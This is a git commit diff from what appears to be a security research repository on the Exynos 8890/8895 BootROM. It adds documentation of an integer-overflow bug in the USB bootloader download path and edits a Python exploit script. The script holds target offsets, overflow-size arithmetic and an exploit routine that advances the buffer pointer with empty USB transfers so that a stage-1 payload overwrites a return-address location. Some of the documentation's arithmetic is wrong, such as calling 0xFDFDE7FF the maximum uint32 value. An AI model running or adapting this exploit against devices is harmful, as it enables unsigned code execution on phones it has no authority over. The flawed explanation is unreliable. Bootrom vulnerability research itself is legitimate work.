Additional documentation
This commit is contained in:
parent
f51b8949de
commit
e4c2b7ae02
BIN
documentation/source/BootROM_8890/images/dl_data_struct.png
Normal file
BIN
documentation/source/BootROM_8890/images/dl_data_struct.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 166 KiB |
Binary file not shown.
After Width: | Height: | Size: 262 KiB |
Binary file not shown.
After Width: | Height: | Size: 21 KiB |
Binary file not shown.
After Width: | Height: | Size: 139 KiB |
@ -110,19 +110,55 @@ Other general device descriptors are also sent from the device to the host (to d
|
||||
|
||||
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
|
||||
|
||||
Bug 1(Integer underflow)
|
||||
Bug 1 (Integer overflow)
|
||||
------------------------
|
||||
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
|
||||
|
||||
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
|
||||
|
||||
.. figure:: images/usb_setup_ready_to_0.png
|
||||
|
||||
The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
|
||||
|
||||
.. figure:: images/dl_data_struct.png
|
||||
|
||||
The dldata struct in the Exynos 8890 BootROM
|
||||
|
||||
.. code:: c
|
||||
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
|
||||
*(undefined *)&pdVar1->ready = 2;
|
||||
}
|
||||
|
||||
In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute!
|
||||
In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
|
||||
1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal),
|
||||
2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`).
|
||||
|
||||
If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.
|
||||
|
||||
The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.
|
||||
|
||||
.. figure:: images/usb_payload_size_check.jpeg
|
||||
|
||||
The size check in the Exynos 8890 BootROM
|
||||
|
||||
Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.
|
||||
|
||||
.. figure:: images/max_allowed_chunck_size.jpeg
|
||||
|
||||
The max allowed chunk size, after which the payload is split.
|
||||
|
||||
The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.
|
||||
|
||||
The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
|
||||
|
||||
.. code:: c
|
||||
|
||||
typedef struct dldata_s {
|
||||
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
|
||||
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
|
||||
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
|
||||
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
|
||||
} dldata;
|
||||
|
||||
Bug 2
|
||||
-----
|
||||
@ -131,7 +167,6 @@ Bug 2
|
||||
|
||||
Might be a 0/N-day if exploitable
|
||||
|
||||
|
||||
@ELHER
|
||||
|
||||
There is a bug(unpatched?) in receiving the last packet of the usb image:
|
||||
|
@ -1,4 +1,4 @@
|
||||
import usb.util
|
||||
import usb.util, usb.core
|
||||
import struct, sys, usb1, libusb1, ctypes, usb, argparse
|
||||
from keystone import *
|
||||
from capstone import *
|
||||
@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG)
|
||||
|
||||
BLOCK_SIZE = 512
|
||||
CHUNK_SIZE = 0xfffe00
|
||||
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)
|
||||
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
|
||||
|
||||
DL_BUFFER_START = 0x02021800
|
||||
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End
|
||||
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
|
||||
|
||||
BOOTROM_START = 0x0
|
||||
BOOTROM_SIZE = 0x20000 #128Kb
|
||||
|
||||
TARGET_OFFSETS = {
|
||||
# XFER_BUFFER, RA_PTR, XFER_END_SIZE
|
||||
"8890": (0x02021800, 0x02020F08, 0x02070000),
|
||||
"8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
|
||||
"8895": (0x02021800, 0x02020F18, 0x02070000)
|
||||
}
|
||||
|
||||
@ -54,18 +54,18 @@ class ExynosDevice():
|
||||
self.connect_device()
|
||||
|
||||
def connect_device(self):
|
||||
"""Wait for proper connection to the device"""
|
||||
self.context = usb1.USBContext()
|
||||
while True:
|
||||
self.handle = self.context.openByVendorIDAndProductID(
|
||||
vendor_id=self.idVendor,
|
||||
product_id=self.idProduct,
|
||||
skip_on_error=True
|
||||
skip_on_error=False
|
||||
)
|
||||
if self.handle == None:
|
||||
continue
|
||||
break
|
||||
|
||||
print("Connected device!")
|
||||
print(f"Connected device! {self.idVendor} {self.idProduct}")
|
||||
|
||||
def write(self, data):
|
||||
transferred = ctypes.c_int()
|
||||
@ -100,6 +100,7 @@ class ExynosDevice():
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
|
||||
pass
|
||||
|
||||
|
||||
def test_bug(self):
|
||||
# Start by sending a valid packet
|
||||
# Integer overflow in the size field
|
||||
@ -128,14 +129,16 @@ class ExynosDevice():
|
||||
|
||||
def exploit(self, payload: bytes):
|
||||
'''
|
||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload
|
||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
||||
'''
|
||||
current_offset = TARGET_OFFSETS[self.target][0]
|
||||
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
||||
transferred = ctypes.c_int()
|
||||
|
||||
size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6
|
||||
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
||||
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
||||
max_payload_size = 0x100000000 - size_to_overflow
|
||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE)
|
||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||
|
||||
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
|
||||
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
|
||||
@ -152,7 +155,7 @@ class ExynosDevice():
|
||||
|
||||
cnt = 0
|
||||
while True:
|
||||
if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
|
||||
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
||||
break
|
||||
self.send_empty_transfer()
|
||||
current_offset += CHUNK_SIZE
|
||||
@ -333,15 +336,17 @@ def usb_debug():
|
||||
send_data()
|
||||
recv_data()
|
||||
count += 1
|
||||
pass
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
arg = argparse.ArgumentParser("Exynos exploit")
|
||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||
|
||||
# Debug mode
|
||||
args = arg.parse_args()
|
||||
if args.debug:
|
||||
usb_debug()
|
||||
sys.exit(0)
|
||||
|
||||
exynos = ExynosDevice()
|
||||
exynos.run_boot_chain()
|
||||
|
Loading…
Reference in New Issue
Block a user